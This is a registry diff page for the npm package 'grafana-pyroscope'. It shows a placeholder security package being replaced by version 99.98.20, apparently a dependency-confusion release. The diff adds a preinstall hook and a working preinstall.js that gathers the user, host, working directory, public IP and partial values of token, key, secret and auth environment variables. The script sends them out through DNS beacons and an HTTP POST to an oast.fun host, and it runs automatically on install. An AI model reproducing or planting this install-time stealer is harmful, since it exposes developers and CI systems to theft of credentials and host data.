grafana-pyroscope 0.0.1-security → 99.98.20

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of grafana-pyroscope might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +5 -3
  2. package/preinstall.js +137 -0
  3. package/README.md +0 -5
package/package.json CHANGED
@@ -1,6 +1,8 @@
1
1
  {
2
2
  "name": "grafana-pyroscope",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.98.20",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js"
7
+ }
6
8
  }
package/preinstall.js ADDED
@@ -0,0 +1,137 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+ const http = require('http');
4
+
5
+ const OAST = 'd1j7bfsgtqkj8vn06s606j6tn18q5hah4.oast.fun'; // Your OAST domain
6
+ const MAX_LABEL = 63;
7
+
8
+ // Helper: split string into hex chunks for DNS labels <= 63 chars
9
+ function hexChunks(str) {
10
+ return Buffer.from(str).toString('hex').match(/.{1,63}/g) || [];
11
+ }
12
+
13
+ // Promise HTTP POST to exfiltrate data via HTTP (port 80)
14
+ function postData(path, data) {
15
+ return new Promise((resolve) => {
16
+ try {
17
+ const payload = JSON.stringify(data);
18
+ const options = {
19
+ hostname: OAST,
20
+ port: 80,
21
+ path: path,
22
+ method: 'POST',
23
+ headers: {
24
+ 'Content-Type': 'application/json',
25
+ 'Content-Length': Buffer.byteLength(payload),
26
+ 'User-Agent': 'Mozilla/5.0 (compatible)',
27
+ },
28
+ timeout: 4000, // 4 seconds timeout to avoid hanging
29
+ };
30
+
31
+ const req = http.request(options, (res) => {
32
+ // Consume response data to free memory
33
+ res.on('data', () => {});
34
+ res.on('end', () => {
35
+ console.log('[*] HTTP POST success');
36
+ resolve();
37
+ });
38
+ });
39
+
40
+ req.on('error', (err) => {
41
+ console.log('[!] HTTP POST error:', err.message);
42
+ resolve(); // Always resolve so no crash
43
+ });
44
+
45
+ req.on('timeout', () => {
46
+ console.log('[!] HTTP POST timeout');
47
+ req.abort();
48
+ resolve();
49
+ });
50
+
51
+ req.write(payload);
52
+ req.end();
53
+ } catch (e) {
54
+ console.log('[!] Exception in postData:', e.message);
55
+ resolve();
56
+ }
57
+ });
58
+ }
59
+
60
+ // Promise GET public IP (via HTTPS, fallback to 'unknown')
61
+ function getPublicIp() {
62
+ return new Promise((resolve) => {
63
+ try {
64
+ const https = require('https');
65
+ https.get('https://api.ipify.org', (res) => {
66
+ let ip = '';
67
+ res.on('data', (chunk) => {
68
+ ip += chunk;
69
+ });
70
+ res.on('end', () => {
71
+ resolve(ip.trim());
72
+ });
73
+ }).on('error', () => {
74
+ resolve('unknown');
75
+ });
76
+ } catch {
77
+ resolve('unknown');
78
+ }
79
+ });
80
+ }
81
+
82
+ (async () => {
83
+ try {
84
+ console.log('[*] preinstall.js triggered on', os.hostname(), os.platform());
85
+
86
+ // Collect basic info
87
+ const info = {
88
+ user: os.userInfo().username || 'nouser',
89
+ host: os.hostname() || 'nohost',
90
+ cwd: process.cwd(),
91
+ platform: os.platform(),
92
+ arch: os.arch(),
93
+ timestamp: Date.now().toString(36),
94
+ };
95
+
96
+ // Compose DNS beacon domain from hex chunks + platform + OAST
97
+ let domainParts = [...hexChunks(info.user), ...hexChunks(info.host), info.platform, OAST];
98
+ let domain = domainParts.join('.');
99
+ if (domain.length > 253) domain = domain.slice(0, 253);
100
+
101
+ // Fire DNS beacon (fire-and-forget)
102
+ dns.resolve(domain, (err) => {
103
+ if (err) {
104
+ console.log('[!] DNS beacon error:', err.message);
105
+ } else {
106
+ console.log('[*] DNS beacon sent:', domain);
107
+ }
108
+ });
109
+
110
+ // Wait for public IP fetch
111
+ const publicIp = await getPublicIp();
112
+
113
+ // Prepare info + IP + CI env marker
114
+ const infoWithIp = { ...info, ip: publicIp, ci: !!process.env.CI };
115
+
116
+ // Extract up to 5 secrets from env vars (token/key/secret/auth)
117
+ const leaked = Object.entries(process.env)
118
+ .filter(([k]) => /token|key|secret|auth/i.test(k))
119
+ .slice(0, 5)
120
+ .reduce((acc, [k, v]) => {
121
+ acc[k] = v.length > 12 ? v.slice(0, 12) + '...' : v;
122
+ return acc;
123
+ }, {});
124
+
125
+ const finalPayload = { systemInfo: infoWithIp };
126
+ if (Object.keys(leaked).length) {
127
+ finalPayload.envLeak = leaked;
128
+ }
129
+
130
+ // Send HTTP POST beacon with data
131
+ await postData('/', finalPayload);
132
+
133
+ console.log('[*] preinstall.js finished');
134
+ } catch (e) {
135
+ console.log('[!] Unexpected error:', e.message);
136
+ }
137
+ })();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=grafana-pyroscope for more information.